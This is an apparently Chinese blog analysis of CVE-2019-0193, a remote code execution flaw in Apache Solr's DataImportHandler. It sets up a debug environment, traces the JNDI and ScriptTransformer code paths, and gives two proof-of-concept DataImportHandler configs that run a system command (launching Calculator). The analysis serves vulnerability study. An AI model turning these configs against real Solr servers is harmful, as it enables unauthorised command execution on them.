CVE-2019-0193/Apache Solr DataImportHandler远程代码执行漏洞分析报告

调试环境搭建

  • 1.JDK 8U20
  • 2.下载solr 8.1.0(8.2.0需要开启enable.dih.dataConfigParam)
    https://archive.apache.org/dist/lucene/solr/8.1.0/solr-8.1.0.zip
  • 3.下载java数据库驱动jar,这里以mysql举例
    https://cdn.mysql.com//Downloads/Connector-J/mysql-connector-java-8.0.17.zip
    解压以后可以获得mysql-connector-java-8.0.17.jar
  • 4.放置mysql-connector-java-8.0.17.jarsolr-8.1.0/server/solr-webapp/webapp/WEB-INF/lib/
  • 5.安装apache-ant
  • 6.进入solr根目录运行ant idea,即可将solr源码编译成intellij idea项目。在编译idea项目时时候可能会失败,此时可以运行 ant ivy-bootstrap
  • 7.使用idea open编译好的文件夹,等待一段时间
  • 8.新增Remote,作如下配置
Remote

如果没有server模块,请到solr根目录下运行ant server

  • 9.在如下位置新增xml内容
xml内容
 <requestHandler name="/dataimport" class="solr.DataImportHandler">
    <lst name="defaults">
      <str name="config">db-data-config.xml</str>
    </lst>
  </requestHandler>

db-data-config.xml

<dataConfig>
    <dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" />
    <document>
        <entity name="item" query="select * from item"
                deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">
            <field column="NAME" name="name" />

            <entity name="feature"  
                    query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
                    deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
                    parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
                <field name="features" column="DESCRIPTION" />
            </entity>
            
            <entity name="item_category"
                    query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
                    deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
                    parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
                <entity name="category"
                        query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
                        deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
                        parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
                    <field column="DESCRIPTION" name="cat" />
                </entity>
            </entity>
        </entity>
    </document>
</dataConfig>
  • 10.进入solr/solr/bin,执行如下命令启动solr远程debug模式
    ./solr start -p 8988 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988"
    等待terminal出现Listening for transport dt_socket at address: 8988提示语时,点击idea的debug按钮
debug

点击以后,debugger启动,同时solr启动正常

debugger启动
solr启动正常
  • 11.访问http://127.0.0.1:8988/solr/即可

漏洞分析

1.JNDI触发

根据官方或者网络上的Solr DIH指南,不难得出DIH的基本xml配置如下

<dataConfig>
<dataSource name= "mysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://127.0.0.1:3306/mysql" user="root" password="root"/>
<document>
<entity name= "node">
</entity>
</document>
</dataConfig>

得到JdbcDataSource关键字,尝试搜索相关类,最终在org.apache.solr.handler.dataimport包内找到JdbcDataSource类

JdbcDataSource类

翻看此类发现jndiName属性,猜测该类可能有JNDI注入的可能性。在JdbcDataSource类中搜索jndiName,找到if (jndiName != null)相关代码片段。尝试在此处打入断点,且尝试构造xml写入配置进行debug。

debug

跟踪该断点,直接跳转到getFromJndi方法,随之进入InitialContext类的对象方法lookup

lookup

执行lookup(),可以进行JNDI注入,最终触发org.apache.solr.core.SolrCoreexecute完成RCE

RCE
JNDI注入

2.ScriptTransformer触发

根据NVD的漏洞预警和qita的指南,可以得知此次的漏洞是可以通过ScriptTransformer配合script触发的。

NVD
qita

配置DataSource有多种方式,这里以JdbcDataSource为例

DataSource

org.apache.solr.handler.dataimport.DataImportHandlerhandleRequestBody打上断点插入数据进行debug

发现,他会进入下面的判断体

判断体

这里我们的请求的command为full-import

full-import

随即进入maybeReloadConfiguration,由于dataconfig不为空,使用loadDataConfig加载

loadDataConfig

随后使用readFromXml加载配置文件中提交的数据,使用getText获得function

getText

最后获取到所有数据以后,返回一个DIHConfiguration对象,当debug为ture执行runCmd方法

debug为ture

在判断command为full-import时,执行 this.doFullImport(sw, reqParams);

doFullImport

doFullImport中存在this.docBuilder.execute();,将得到一个EntityProcessorWrapper对象——epw

epw中的nextRow中存在applyTransformer()转换脚本,而其使用的是相应Transformer的transformRow

applyTransformer

根据官方文档,ScriptTransformer允许多种Java支持的脚本语言调用,如Javascript、JRuby、Jython、Groovy和BeanShell等

官方文档

而在solr中,JS的默认引擎是Nashorn

Nashorn

使用scriptEngine.eval(scriptText);取出具体脚本语言和我们要执行的代码

取出

最后调用return this.engine == null ? row : this.engine.invokeFunction(this.functionName, row, context);

调用

发现这里调用的invokeFunction其实是javax.script.InvocableinvokeFunction

javax.script.Invocable

最终RCE触发成功

RCE触发成功

调用栈如下:

调用栈

POC

JdbcDataSource poc

<dataConfig>
<dataSource name= "mysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://127.0.0.1:3306/mysql" user="root" password="root"/>
<script ><![CDATA[java.lang.Runtime.getRuntime().exec("open -a Calculator");]]>
</script>
<document>
<entity name= "poc" query= "SELECT 1" transformer= "script:"/>
</document>
</dataConfig>

URLDataSource poc

<dataConfig>
<dataSource type="URLDataSource"/>
  <script><![CDATA[ java.lang.Runtime.getRuntime().exec("open -a Calculator");
  ]]></script>
  <document>
    <entity name="poc"
            url="https://stackoverflow.com/feeds"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:" />
  </document>
</dataConfig>
JNDI 触发poc可通过自行debug得出

鸣谢

pyn3rd

参考

用Intellij idea搭建solr调试环境:
https://www.cnblogs.com/jeniss/p/5995921.html
SolrでDataImportHandlerのTransformerをJavaScriptで書く:
https://qiita.com/nanakenashi/items/fc613d5b9deec5d2bed7
nvd CVE-2019-0193:
https://nvd.nist.gov/vuln/detail/CVE-2019-0193
Solr Ref Guide 8.1:
https://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 156,757评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,478评论 1 289
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,540评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,593评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,903评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,329评论 1 210
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,659评论 2 309
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,383评论 0 195
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,055评论 1 238
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,337评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,864评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,227评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,820评论 3 231
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,999评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,750评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,365评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,260评论 2 258

推荐阅读更多精彩内容